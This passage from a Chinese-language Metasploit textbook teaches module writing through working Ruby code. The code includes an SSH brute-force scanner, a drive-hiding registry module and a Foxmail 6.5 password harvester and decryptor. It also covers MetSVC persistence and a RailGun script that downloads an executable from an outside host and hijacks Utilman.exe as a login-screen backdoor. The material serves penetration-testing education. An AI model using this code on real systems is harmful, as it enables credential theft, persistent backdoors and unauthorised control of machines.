stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['SSH_TIMEOUT'],
framework: framework,
framework_module: self,
)
我们可以看到在前面的代码中有两个对象,分别是cred_collection和scanner。这里需要注意的一个重要点是,我们不需要任何手动登录 SSH 服务的方法,因为登录扫描器会为我们完成一切。因此,cred_collection只是根据模块上设置的datastore选项生成凭据集。CredentialCollection类的美妙之处在于它可以一次性接受单个用户名/密码组合、单词列表和空凭据,或者它们中的一个。
所有登录扫描器模块都需要凭据对象来进行登录尝试。在前面的代码中定义的scanner对象初始化了一个 SSH 类的对象。这个对象存储了目标的地址、端口、由CredentialCollection类生成的凭据,以及其他数据,比如代理信息、stop_on_success,它将在成功的凭据匹配时停止扫描,暴力攻击速度和尝试超时的值。
到目前为止,在模块中我们已经创建了两个对象;cred_collection将根据用户输入生成凭据,而scanner对象将使用这些凭据来扫描目标。接下来,我们需要定义一个机制,使得来自单词列表的所有凭据都被定义为单个参数,并针对目标进行测试。
我们已经在之前的示例中看到了run_host的用法。让我们看看在这个模块中我们将使用哪些来自各种库的其他重要函数:
| 函数 | 库文件 | 用法 |
|---|---|---|
create_credential() | /lib/msf/core/auxiliary/report.rb | 从结果对象中产生凭据数据。 |
create_credential_login() | /lib/msf/core/auxiliary/report.rb | 从结果对象中创建登录凭据,可用于登录到特定服务。 |
invalidate_login | /lib/msf/core/auxiliary/report.rb | 标记一组凭据为特定服务的无效。 |
让我们看看我们如何实现这一点:
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
end
可以观察到我们使用.scan来初始化扫描,这将自行执行所有的登录尝试,这意味着我们不需要明确指定任何其他机制。.scan指令就像 Ruby 中的each循环一样。
在下一个语句中,结果被保存在result对象中,并使用to_h方法分配给credential_data变量,该方法将数据转换为哈希格式。在下一行中,我们将模块名称和工作区 ID 合并到credential_data变量中。接下来,我们使用.success变量对result对象进行 if-else 检查,该变量表示成功登录到目标。如果result.success?变量返回 true,我们将凭据标记为成功的登录尝试并将其存储在数据库中。但是,如果条件不满足,我们将credential_data变量传递给invalidate_login方法,表示登录失败。
建议通过msftidy进行一致性检查后再运行本章和后续章节中的所有模块。让我们尝试运行该模块,如下所示:
我们可以看到我们能够使用claire和18101988作为用户名和密码登录。让我们看看我们是否能够使用creds命令将凭据记录到数据库中:
我们可以看到我们已经将详细信息记录到数据库中,并且可以用于进行高级攻击或报告。
重新表达方程
如果您在之前列出的模块上工作后感到困惑,让我们逐步了解模块:
-
我们创建了一个
CredentialCollection对象,它接受任何用户作为输入并产生凭据,这意味着如果我们将USERNAME作为 root 和PASSWORD作为 root,它将作为单个凭据产生。但是,如果我们使用USER_FILE和PASS_FILE作为字典,那么它将从字典文件中获取每个用户名和密码,并分别为文件中的每个用户名和密码组合生成凭据。 -
我们为 SSH 创建了一个
scanner对象,它将消除任何手动命令使用,并将简单地检查我们提供的所有组合。 -
我们使用
.scan方法运行了我们的scanner,它将在目标上初始化暴力破解的身份验证。 -
.scan方法将依次扫描所有凭据,并根据结果,将其存储到数据库中并使用print_good显示,否则将使用print_status显示而不保存。
编写一个驱动禁用后渗透模块
现在我们已经看到了模块构建的基础知识,我们可以进一步尝试构建一个后渗透模块。这里需要记住的一点是,只有在成功攻击目标后才能运行后渗透模块。
因此,让我们从一个简单的驱动禁用模块开始,该模块将禁用目标系统上选择的驱动器,该系统是 Windows 7 操作系统。让我们看看模块的代码,如下所示:
require 'rex'
require 'msf/core/post/windows/registry'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
def initialize
super(
'Name' => 'Drive Disabler',
'Description' => 'This Modules Hides and Restrict Access to a Drive',
'License' => MSF_LICENSE,
'Author' => 'Nipun Jaswal'
)
register_options(
[
OptString.new('DriveName', [ true, 'Please SET the Drive Letter' ])
])
end
我们以与之前模块相同的方式开始。我们添加了所有需要的库的路径,以便在这个后渗透模块中使用。让我们看看下表中的任何新的包含和它们的用法:
| 包含语句 | 路径 | 用法 |
|---|---|---|
Msf::Post::Windows::Registry | lib/msf/core/post/windows/registry.rb | 这个库将使我们能够使用 Ruby Mixins 轻松地进行注册表操作函数。 |
接下来,我们将模块的类型定义为Post,用于后渗透。在继续代码时,我们在initialize方法中描述了模块的必要信息。我们可以始终定义register_options来定义我们的自定义选项以与模块一起使用。在这里,我们使用OptString.new将DriveName描述为字符串数据类型。定义新选项需要两个参数,即required和description。我们将required的值设置为true,因为我们需要一个驱动器号来启动隐藏和禁用过程。因此,将其设置为true将不允许模块运行,除非为其分配一个值。接下来,我们定义了新添加的DriveName选项的描述。
在继续代码的下一部分之前,让我们看看在这个模块中我们将要使用的重要函数是什么:
| 函数 | 库文件 | 用法 |
|---|---|---|
meterpreter_registry_key_exist | lib/msf/core/post/windows/registry.rb | 检查注册表中是否存在特定的键 |
registry_createkey | lib/msf/core/post/windows/registry.rb | 创建一个新的注册表键 |
meterpreter_registry_setvaldata | lib/msf/core/post/windows/registry.rb | 创建一个新的注册表值 |
让我们看看模块的剩余部分:
def run
drive_int = drive_string(datastore['DriveName'])
key1="HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
exists = meterpreter_registry_key_exist?(key1)
if not exists
print_error("Key Doesn't Exist, Creating Key!")
registry_createkey(key1)
print_good("Hiding Drive")
meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
print_good("Restricting Access to the Drive")
meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
else
print_good("Key Exist, Skipping and Creating Values")
print_good("Hiding Drive")
meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
print_good("Restricting Access to the Drive")
meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
end
print_good("Disabled #{datastore['DriveName']} Drive")
end
通常我们使用run方法来运行后渗透模块。因此,在定义run时,我们将DriveName变量发送到drive_string方法,以获取驱动器的数值。
我们创建了一个名为key1的变量,并将注册表的路径存储在其中。我们将使用meterpreter_registry_key_exist来检查系统中是否已经存在该键。
如果键存在,则将exists变量的值分配为true或false。如果exists变量的值为false,我们使用registry_createkey(key1)创建键,然后继续创建值。但是,如果条件为真,我们只需创建值。
为了隐藏驱动器并限制访问,我们需要创建两个注册表值,即NoDrives和NoViewOnDrive,其值为十进制或十六进制的驱动器号,类型为DWORD。
我们可以使用meterpreter_registry_setvaldata来实现这一点,因为我们正在使用 meterpreter shell。我们需要向meterpreter_registry_setvaldata函数提供五个参数,以确保其正常运行。这些参数是键路径(字符串)、注册表值的名称(字符串)、驱动器号的十进制值(字符串)、注册表值的类型(字符串)和视图(整数值),对于本机视图为 0,32 位视图为 1,64 位视图为 2。
meterpreter_registry_setvaldata的示例可以分解如下:
meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
在前面的代码中,我们将路径设置为key1,将值设置为NoViewOnDrives,将驱动器D的十进制值设置为 16,将注册表的类型设置为REG_DWORD,并将视图设置为REGISTRY_VIEW_NATIVE,即 0。
对于 32 位注册表访问,我们需要将 1 作为视图参数提供,对于 64 位,我们需要提供 2。但是,这可以使用REGISTRY_VIEW_32_BIT和REGISTRY_VIEW_64_BIT来完成。
你可能想知道我们是如何知道对于驱动器E,我们需要将位掩码的值设置为16?让我们看看在下一节中如何计算位掩码。
要计算特定驱动器的位掩码,我们有公式2^([驱动器字符序号]-1)。假设我们需要禁用驱动器E;我们知道字符 E 是字母表中的第五个字符。因此,我们可以计算禁用驱动器E的确切位掩码值,如下所示:
2^ (5-1) = 2⁴= 16
位掩码值为16用于禁用E驱动器。然而,在前面的模块中,我们在drive_string方法中使用case开关硬编码了一些值。让我们看看我们是如何做到的:
def drive_string(drive)
case drive
when "A"
return 1
when "B"
return 2
when "C"
return 4
when "D"
return 8
when "E"
return 16
end
end
end
我们可以看到,前面的方法接受一个驱动器字母作为参数,并将其对应的数字返回给调用函数。让我们看看目标系统上有多少个驱动器:
我们可以看到我们有两个驱动器,驱动器C和驱动器E。让我们也检查一下我们将在其中写入新键的注册表条目:
我们可以看到我们还没有一个 explorer 键。让我们运行模块,如下所示:
我们可以看到该键不存在,并且根据我们模块的执行,它应该已经在注册表中写入了键。让我们再次检查注册表:
我们可以看到我们有现有的键。注销并重新登录系统后,驱动器E应该已经消失了。让我们检查一下:
没有E驱动器的迹象。因此,我们成功地从用户视图中禁用了E驱动器,并限制了对其的访问。
根据我们的需求,我们可以创建尽可能多的后渗透模块。我建议您花一些额外的时间来了解 Metasploit 的库。
确保您对上述脚本具有SYSTEM级别访问权限,因为SYSTEM特权不会在当前用户下创建注册表,而是会在本地计算机上创建注册表。除此之外,我们使用了HKLM而不是写HKEY_LOCAL_MACHINE,因为内置的规范化将自动创建键的完整形式。我建议您检查registry.rb文件以查看各种可用的方法。
如果您没有系统权限,请尝试使用exploit/windows/local/bypassuac模块并切换到提升的 shell,然后尝试上述模块。
编写凭证收集后渗透模块
在这个示例模块中,我们将攻击 Foxmail 6.5。我们将尝试解密凭据并将其存储在数据库中。让我们看看代码:
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info,
'Name' => 'FoxMail 6.5 Credential Harvester',
'Description' => %q{
This Module Finds and Decrypts Stored Foxmail 6.5 Credentials
},
'License' => MSF_LICENSE,
'Author' => ['Nipun Jaswal'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
就像我们在前面的模块中看到的那样;我们首先包括所有必需的库,并提供有关模块的基本信息。
我们已经看到了Msf::Post::Windows::Registry和Msf::Auxiliary::Report的用法。让我们看看我们在此模块中包含的新库的详细信息,如下所示:
| 包含语句 | 路径 | 用法 |
|---|---|---|
Msf::Post::Windows::UserProfiles | lib/msf/core/post/windows/user_profiles.rb | 此库将提供 Windows 系统上的所有配置文件,包括查找重要目录、路径等。 |
Msf::Post::File | lib/msf/core/post/file.rb | 此库将提供函数,将帮助文件操作,如读取文件、检查目录、列出目录、写入文件等。 |
在了解模块的下一部分之前,让我们看看我们需要执行哪些操作来收集凭据:
-
我们将搜索用户配置文件,并找到当前用户的
LocalAppData目录的确切路径。 -
我们将使用先前找到的路径,并将其与
\VirtualStore\Program Files (x86)\Tencent\Foxmail\mail连接起来,以建立到mail目录的完整路径。 -
我们将从
mail目录中列出所有目录,并将它们存储在一个数组中。但是,mail目录中的目录名称将使用各种邮件提供程序的用户名命名约定。例如,nipunjaswal@rocketmail.com将是mail目录中存在的目录之一。 -
接下来,我们将在
mail目录下找到帐户目录中的Account.stg文件。 -
我们将读取
Account.stg文件,并找到名为POP3Password的常量的哈希值。 -
我们将哈希值传递给我们的解密方法,该方法将找到明文密码。
-
我们将值存储在数据库中。
非常简单!让我们分析代码:
def run
profile = grab_user_profiles()
counter = 0
data_entry = ""
profile.each do |user|
if user['LocalAppData']
full_path = user['LocalAppData']
full_path = full_path+"\VirtualStore\Program Files (x86)\Tencent\Foxmail\mail"
if directory?(full_path)
print_good("Fox Mail Installed, Enumerating Mail Accounts")
session.fs.dir.foreach(full_path) do |dir_list|
if dir_list =~ /@/
counter=counter+1
full_path_mail = full_path+ "\" + dir_list + "\" + "Account.stg"
if file?(full_path_mail)
print_good("Reading Mail Account #{counter}")
file_content = read_file(full_path_mail).split("n")
在开始理解前面的代码之前,让我们看一下其中使用的重要函数,以便更好地了解其用法:
| 函数 | 库文件 | 用法 |
|---|---|---|
grab_user_profiles() | lib/msf/core/post/windows/user_profiles.rb | 获取 Windows 平台上重要目录的所有路径 |
directory? | lib/msf/core/post/file.rb | 检查目录是否存在 |
file? | lib/msf/core/post/file.rb | 检查文件是否存在 |
read_file | lib/msf/core/post/file.rb | 读取文件的内容 |
store_loot | /lib/msf/core/auxiliary/report.rb | 将收集到的信息存储到文件和数据库中 |
我们可以看到在前面的代码中,我们使用 grab_user_profiles() 获取了配置文件,并尝试找到 LocalAppData 目录。一旦找到,我们将其存储在一个名为 full_path 的变量中。
接下来,我们将路径连接到列出所有帐户的 mail 文件夹。我们使用 directory? 检查路径是否存在,并在成功时使用正则表达式匹配将包含 @ 的目录名称复制到 dir_list 中。接下来,我们创建另一个名为 full_path_mail 的变量,并存储每封电子邮件的 Account.stg 文件的确切路径。我们确保使用 file? 来检查 Account.stg 文件是否存在。成功后,我们读取文件并在换行符处拆分所有内容。我们将拆分的内容存储到 file_content 列表中。让我们看代码的下一部分:
file_content.each do |hash|
if hash =~ /POP3Password/
hash_data = hash.split("=")
hash_value = hash_data[1]
if hash_value.nil?
print_error("No Saved Password")
else
print_good("Decrypting Password for mail account: #{dir_list}")
decrypted_pass = decrypt(hash_value,dir_list)
data_entry << "Username:" +dir_list + "t" + "Password:" + decrypted_pass+"n"
end
end
end
end
end
end
end
end
end
store_loot("Foxmail Accounts","text/plain",session,data_entry,"Fox.txt","Fox Mail Accounts")
end
对于 file_content 中的每个条目,我们运行了一个检查,以查找常量 POP3Password。一旦找到,我们将常量在 = 处拆分,并将常量的值存储在一个名为 hash_value 的变量中。
接下来,我们直接将 hash_value 和 dir_list(帐户名)传递给 decrypt 函数。成功解密后,明文密码将存储在 decrypted_pass 变量中。我们创建另一个名为 data_entry 的变量,并将所有凭据附加到其中。我们这样做是因为我们不知道目标上可能配置了多少电子邮件帐户。因此,对于每个结果,凭据都会附加到 data_entry。所有操作完成后,我们使用 store_loot 方法将 data_entry 变量存储在数据库中。我们向 store_loot 方法提供了六个参数,分别为收集、内容类型、会话、data_entry、文件名和收集的描述。
让我们来了解解密函数,如下所示:
def decrypt(hash_real,dir_list)
decoded = ""
magic = Array[126, 100, 114, 97, 71, 111, 110, 126]
fc0 = 90
size = (hash_real.length)/2 - 1
index = 0
b = Array.new(size)
for i in 0 .. size do
b[i] = (hash_real[index,2]).hex
index = index+2
end
b[0] = b[0] ^ fc0
double_magic = magic+magic
d = Array.new(b.length-1)
for i in 1 .. b.length-1 do
d[i-1] = b[i] ^ double_magic[i-1]
end
e = Array.new(d.length)
for i in 0 .. d.length-1
if (d[i] - b[i] < 0)
e[i] = d[i] + 255 - b[i]
else
e[i] = d[i] - b[i]
end
decoded << e[i].chr
end
print_good("Found Username #{dir_list} with Password: #{decoded}")
return decoded
end
end
在前面的方法中,我们收到了两个参数,即哈希密码和用户名。magic 变量是解密密钥,存储在一个包含 ~draGon~ 字符串的十进制值的数组中,依次存储。我们将整数 90 存储为 fc0,稍后我们将详细讨论。
接下来,我们通过将哈希除以 2 并减去 1 来找到哈希的大小。这将是我们新数组 b 的大小。
在下一步中,我们将哈希拆分为字节(每两个字符一个),并将其存储到数组 b 中。我们对数组 b 的第一个字节执行 XOR,将其与 fc0 执行 XOR,从而通过对其执行 XOR 操作来更新 b[0] 的值为 90。这对于 Foxmail 6.5 是固定的。
现在,我们将数组magic复制两次到一个新数组double_magic中。我们还声明double_magic的大小比数组b少一个。我们对数组b和double_magic数组的所有元素执行XOR操作,除了数组b的第一个元素,我们已经对其执行了 XOR 操作。
我们将 XOR 操作的结果存储在数组d中。在下一条指令中,我们将完整的数组d从数组b中减去。但是,如果特定减法操作的值小于 0,我们将向数组d的元素添加 255。
在下一步中,我们只需将结果数组e中特定元素的 ASCII 值附加到decoded变量中,并将其返回给调用语句。
让我们看看当我们运行这个模块时会发生什么:
很明显,我们轻松解密了存储在 Foxmail 6.5 中的凭据。
突破 Meterpreter 脚本
Meterpreter shell 是攻击者希望在目标上拥有的最理想的访问类型。Meterpreter 为攻击者提供了广泛的工具集,可以在受损系统上执行各种任务。Meterpreter 有许多内置脚本,这使得攻击者更容易攻击系统。这些脚本在受损系统上执行繁琐和直接的任务。在本节中,我们将看看这些脚本,它们由什么组成,以及我们如何在 Meterpreter 中利用它们。
基本的 Meterpreter 命令速查表可在以下网址找到:www.scadahackr.com/library/Documents/Cheat_Sheets/Hacking%20-%20Meterpreter%20Cheat%20%20Sheet.pdf。
Meterpreter 脚本的基本知识
就我们所见,我们在需要在系统上执行一些额外任务时使用了 Meterpreter。然而,现在我们将看一些可能在渗透测试中出现的问题情况,在这些情况下,Meterpreter 中已经存在的脚本似乎对我们没有帮助。在这种情况下,我们很可能希望向 Meterpreter 添加我们自定义的功能,并执行所需的任务。然而,在我们继续向 Meterpreter 添加自定义脚本之前,让我们先执行一些 Meterpreter 的高级功能,并了解其功能。
建立持久访问
一旦我们访问了目标机器,我们可以像在上一章中看到的那样转移到内部网络,但是保留辛苦获得的访问权限也是必要的。但是,对于经过批准的渗透测试,这应该只在测试期间是强制性的,并且应该在项目的范围内。Meterpreter 允许我们使用两种不同的方法在目标上安装后门:MetSVC和Persistence。
我们将在接下来的章节中看到一些高级的持久性技术。因此,在这里我们将讨论 MetSVC 方法。MetSVC 服务被安装在受损系统中作为一个服务。此外,它永久地为攻击者打开一个端口,以便他或她随时连接。
在目标上安装 MetSVC 很容易。让我们看看我们如何做到这一点:
我们可以看到,MetSVC 服务在端口31337创建了一个服务,并且还上传了恶意文件。
稍后,每当需要访问此服务时,我们需要使用metsvc_bind_tcp有效载荷和一个利用处理程序脚本,这将允许我们再次连接到服务,如下面的屏幕截图所示:
MetSVC 的效果甚至在目标机器重新启动后仍然存在。当我们需要对目标系统进行永久访问时,MetSVC 非常方便,因为它节省了重新利用目标所需的时间。
API 调用和混合
我们刚刚看到了如何使用 Meterpreter 执行高级任务。这确实使渗透测试人员的生活变得更加轻松。
现在,让我们深入了解 Meterpreter 的工作原理,并揭示 Meterpreter 模块和脚本的基本构建过程。有时,我们可能会用尽 Meterpreter 的功能,并希望自定义功能来执行所有所需的任务。在这种情况下,我们需要构建自己的自定义 Meterpreter 模块,以实现或自动化在利用时所需的各种任务。
让我们首先了解 Meterpreter 脚本的基础知识。使用 Meterpreter 进行编码的基础是应用程序编程接口(API)调用和混入。这些是使用特定的基于 Windows 的动态链接库(DLL)执行特定任务所需的,以及使用各种内置的基于 Ruby 的模块执行一些常见任务所需的。
混入是基于 Ruby 编程的类,其中包含来自各种其他类的方法。当我们在目标系统上执行各种任务时,混入非常有帮助。除此之外,混入并不完全属于 IRB,但它们可以帮助轻松编写特定和高级的 Meterpreter 脚本。
有关混入的更多信息,请参阅:www.offensive-security.com/metasploit-unleashed/Mixins_and_Plugins。
我建议大家查看/lib/rex/post/meterpreter和/lib/msf/scripts/meterpreter目录,以查看 Meterpreter 使用的各种库。
API 调用是用于从 Windows DLL 文件中调用特定函数的 Windows 特定调用。我们将在使用 RailGun部分很快学习有关 API 调用的知识。
制作自定义 Meterpreter 脚本
让我们来编写一个简单的示例 Meterpreter 脚本,它将检查我们是否是管理员用户,然后找到资源管理器进程并自动迁移到其中。
在查看代码之前,让我们看看我们将使用的所有基本方法:
| 函数 | 库文件 | 用法 |
|---|---|---|
is_admin | /lib/msf/core/post/windows/priv.rb | 检查会话是否具有管理员权限。 |
is_in_admin_group | /lib/msf/core/post/windows/priv.rb | 检查用户是否属于管理员组。 |
session.sys.process.get_processes() | /lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb | 列出目标上所有正在运行的进程。 |
session.core.migrate() | /lib/rex/post/meterpreter/client_core.rb | 将访问从现有进程迁移到参数中指定的 PID。 |
is_uac_enabled? | /lib/msf/core/post/windows/priv.rb | 检查 UAC 是否已启用。 |
get_uac_level | /lib/msf/core/post/windows/priv.rb | 获取 UAC 级别:0,2,5 等。0:已禁用,2:全部,5:默认。 |
让我们看看以下代码:
#Admin Check
print_status("Checking If the Current User is Admin")
admin_check = is_admin?
if(admin_check)
print_good("Current User Is Admin")
else
print_error("Current User is Not Admin")
end
我们只是检查前面的代码中当前用户是否是管理员。函数is_admin返回一个布尔值,基于此我们打印结果:
#User Group Check
user_check = is_in_admin_group?
if(user_check)
print_good("Current User is in the Admin Group")
else
print_error("Current User is Not in the Admin Group")
end
在先前的代码中,我们检查用户是否属于管理员组。在逻辑上,前面的代码片段与先前的代码非常相似:
#Process Id Of the Explorer.exe Process
current_pid = session.sys.process.getpid
print_status("Current PID is #{current_pid}")
session.sys.process.get_processes().each do |x|
if x['name'].downcase == "explorer.exe"
print_good("Explorer.exe Process is Running with PID #{x['pid']}")
explorer_ppid = x['pid'].to_i
# Migration to Explorer.exe Process
session.core.migrate(explorer_ppid)
current_pid = session.sys.process.getpid
print_status("Current PID is #{current_pid}")
end
end
这里的代码段非常有趣。我们首先使用session.sys.process.getpid找到当前进程 ID,然后使用session.sys.process.get_processes()上的循环遍历目标系统上的所有进程。如果找到任何名称为explorer.exe的进程,我们打印出一条消息并将其 ID 存储到explorer_ppid变量中。使用session.core.migrate()方法,我们将存储的进程 ID(explorer.exe)传递到explorer.exe进程中进行迁移。最后,我们只是再次打印当前进程 ID,以确保我们是否成功迁移:
# Finding the Current User
print_status("Getting the Current User ID")
currentuid = session.sys.config.getuid
print_good("Current Process ID is #{currentuid}")
在先前的代码中,我们只是使用sessions.sys.config.getuid方法找到当前用户的标识符:
#Checking if UAC is Enabled
uac_check = is_uac_enabled?
if(uac_check)
print_error("UAC is Enabled")
uac_level = get_uac_level
if(uac_level = 5)
print_status("UAC level is #{uac_level.to_s} which is Default")
elsif (uac_level = 2)
print_status("UAC level is #{uac_level.to_s} which is Always Notify")
else
print_error("Some Error Occured")
end
else
print_good("UAC is Disabled")
end
前面的代码检查了目标系统上是否启用了 UAC。如果启用了 UAC,我们进一步深入,使用get_uac_level方法找到 UAC 的级别,并通过其响应值打印状态。
让我们将这段代码保存在/scripts/meterpreter/gather.rb目录中,并从 Meterpreter 中启动此脚本。这将给您一个类似于以下屏幕截图的输出:
我们可以看到,创建 Meterpreter 脚本并执行各种任务和任务自动化是多么容易。我建议您检查模块中包含的所有文件和路径,以便广泛探索 Meterpreter。
根据 Metasploit 的官方维基,您不应再编写 Meterpreter 脚本,而应编写后渗透模块。
使用 RailGun
电磁炮听起来像是一种比光还快的枪,射出子弹;然而,事实并非如此。RailGun 允许您调用 Windows API,而无需编译自己的 DLL。
它支持许多 Windows DLL 文件,并为我们在受害者机器上执行系统级任务提供了便利。让我们看看如何使用 RailGun 执行各种任务,并进行一些高级的后渗透。
交互式 Ruby shell 基础知识
RailGun 需要将irb shell 加载到 Meterpreter 中。让我们看看如何从 Meterpreter 跳转到irb shell:
我们可以在前面的屏幕截图中看到,仅仅从 Meterpreter 中键入irb就可以让我们进入 Ruby 交互式 shell。我们可以在这里使用 Ruby shell 执行各种任务。
了解 RailGun 及其脚本
RailGun 给了我们巨大的力量,可以执行 Metasploit 有时无法执行的任务。使用 RailGun,我们可以向被侵入系统的任何 DLL 文件发出异常调用。
现在,让我们看看如何使用 RailGun 进行基本 API 调用,并了解其工作原理:
client.railgun.DLLname.function(parameters)
这是 RailGun 中 API 调用的基本结构。client.railgun关键字定义了客户端对 RailGun 功能的需求。DLLname关键字指定了我们将要调用的 DLL 文件的名称。语法中的function (parameters)关键字指定了要使用来自 DLL 文件的所需参数来激发的实际 API 函数。
让我们看一个例子:
此 API 调用的结果如下:
在这里,调用了来自user32.dll DLL 文件的LockWorkStation()函数,导致了受损系统的锁定。
接下来,让我们看一个带参数的 API 调用:
client.railgun.netapi32.NetUserDel(arg1,agr2)
当上述命令运行时,它会从客户端的机器中删除特定用户。目前,我们有以下用户:
让我们尝试删除Nipun用户名:
让我们检查用户是否已成功删除:
用户似乎已经去钓鱼了。RailGun 调用已成功删除了用户Nipun。nil值定义了用户在本地机器上。但是,我们也可以使用名称参数来针对远程系统。
操纵 Windows API 调用
DLL 文件负责在基于 Windows 的系统上执行大部分任务。因此,了解哪个 DLL 文件包含哪些方法是至关重要的。这与 Metasploit 的库文件非常相似,它们中有各种方法。要研究 Windows API 调用,我们在source.winehq.org/WineAPI/和msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx上有很好的资源。我建议在继续创建 RailGun 脚本之前,您探索各种 API 调用。
请参考以下路径,了解有关 RailGun 支持的 DLL 文件的更多信息:/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def。
制作复杂的 RailGun 脚本
更进一步,让我们深入研究使用 RailGun 编写 Meterpreter 扩展的脚本。首先,让我们创建一个脚本,该脚本将向 Metasploit 上下文中添加一个自定义命名的 DLL 文件:
if client.railgun.get_dll('urlmon') == nil
print_status("Adding Function")
end
client.railgun.add_dll('urlmon','C:\WINDOWS\system32\urlmon.dll')
client.railgun.add_function('urlmon','URLDownloadToFileA','DWORD',[
["DWORD","pcaller","in"],
["PCHAR","szURL","in"],
["PCHAR","szFileName","in"],
["DWORD","Reserved","in"],
["DWORD","lpfnCB","in"],
])
将代码保存在名为urlmon.rb的文件中,放在/scripts/meterpreter目录下。
上述脚本向C:\WINDOWS\system32\urlmon.dll文件添加了一个引用路径,其中包含所有浏览所需的函数,以及下载特定文件等功能。我们将此引用路径保存为urlmon的名称。接下来,我们使用 DLL 文件的名称作为第一个参数,我们将要挂钩的函数的名称作为第二个参数,即URLDownloadToFileA,然后是所需的参数,向 DLL 文件添加一个函数。代码的第一行检查 DLL 函数是否已经存在于 DLL 文件中。如果已经存在,脚本将跳过再次添加该函数。如果调用应用程序不是 ActiveX 组件,则将pcaller参数设置为NULL;如果是,则设置为 COM 对象。szURL参数指定要下载的 URL。szFileName参数指定从 URL 下载的对象的文件名。Reserved始终设置为NULL,lpfnCB处理下载的状态。但是,如果不需要状态,则应将此值设置为NULL。
现在让我们创建另一个脚本,该脚本将利用此功能。我们将创建一个后渗透脚本,该脚本将下载一个免费文件管理器,并将修改 Windows OS 上实用程序管理器的条目。因此,每当调用实用程序管理器时,我们的免费程序将代替运行。
我们在同一目录下创建另一个脚本,并将其命名为railgun_demo.rb,如下所示:
client.railgun.urlmon.URLDownloadToFileA(0,"http://192.168.1.10 /A43.exe","C:\Windows\System32\a43.exe",0,0)
key="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe"
syskey=registry_createkey(key)
registry_setvaldata(key,'Debugger','a43.exe','REG_SZ')
如前所述,脚本的第一行将调用自定义添加的 DLL 函数URLDownloadToFile,并提供所需的参数。
接下来,我们在父键HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options下创建一个名为Utilman.exe的键。
我们在utilman.exe键下创建一个名为Debugger的REG_SZ类型的注册表值。最后,我们将值a43.exe分配给Debugger。
让我们从 Meterpreter 运行此脚本,看看情况如何:
一旦我们运行railgun_demo脚本,文件管理器将使用urlmon.dll文件下载,并放置在system32目录中。接下来,创建注册表键,以替换实用程序管理器的默认行为,运行a43.exe文件。因此,每当从登录屏幕按下辅助功能按钮时,a43文件管理器将显示并作为目标系统上的登录屏幕后门。
让我们看看从登录屏幕按下辅助功能按钮时会发生什么,如下截图所示:
我们可以看到它打开了一个a43文件管理器,而不是实用程序管理器。现在我们可以执行各种功能,包括修改注册表、与 CMD 交互等,而无需登录到目标。您可以看到 RailGun 的强大之处,它简化了创建您想要的任何 DLL 文件的路径的过程,并且还允许您向其中添加自定义功能。
有关此 DLL 函数的更多信息,请访问:docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v=vs.85)。
摘要和练习
在本章中,我们涵盖了 Metasploit 的编码工作。我们还研究了模块、后渗透脚本、Meterpreter、RailGun 和 Ruby 编程。在本章中,我们看到了如何向 Metasploit 框架添加我们自定义的功能,并使已经强大的框架变得更加强大。我们首先熟悉了 Ruby 的基础知识。我们学习了编写辅助模块、后渗透脚本和 Meterpreter 扩展。我们看到了如何利用 RailGun 添加自定义功能,比如向目标的 DLL 文件添加 DLL 文件和自定义功能。
为了进一步学习,您可以尝试以下练习:
-
为 FTP 创建一个身份验证暴力破解模块
-
为 Windows、Linux 和 macOS 各开发至少三个后渗透模块,这些模块尚不是 Metasploit 的一部分
-
在 RailGun 上工作,并为至少三个不同功能的 Windows DLL 开发自定义模块
在下一章中,我们将在 Metasploit 中的开发和利用模块的背景下进行研究。这是我们将开始编写自定义利用、对各种参数进行模糊测试以进行利用、利用软件,并为软件和网络编写高级利用的地方。
第十三章:利用公式化过程
本章主要是关于创建利用模块,并帮助理解内置的 Metasploit 实用程序如何改进创建过程。在本章中,我们将涵盖各种示例漏洞,并尝试开发利用这些漏洞的方法和方法。除此之外,我们的主要重点将放在为 Metasploit 构建利用模块上。我们还将涵盖各种工具,这些工具将有助于在 Metasploit 中编写利用程序。编写利用程序的一个重要方面是计算机体系结构。如果我们不包括体系结构的基础知识,我们将无法理解利用程序在较低层次上的工作方式。因此,让我们首先讨论一下系统体系结构和编写利用程序所需的基本要素。
在本章结束时,我们将更多地了解以下主题:
-
利用程序开发的阶段
-
编写利用程序时需要考虑的参数
-
各种寄存器的工作原理
-
如何模糊软件
-
如何在 Metasploit 框架中编写利用程序
-
使用 Metasploit 绕过保护机制
利用程序的绝对基础知识
在本节中,我们将看一下利用所需的最关键组件。我们将讨论在不同体系结构中支持的各种寄存器。我们还将讨论扩展指令指针(EIP)和扩展堆栈指针(ESP),以及它们在编写利用程序中的重要性。我们还将研究无操作(NOP)和跳转(JMP)指令,以及它们在编写各种软件的利用程序中的重要性。
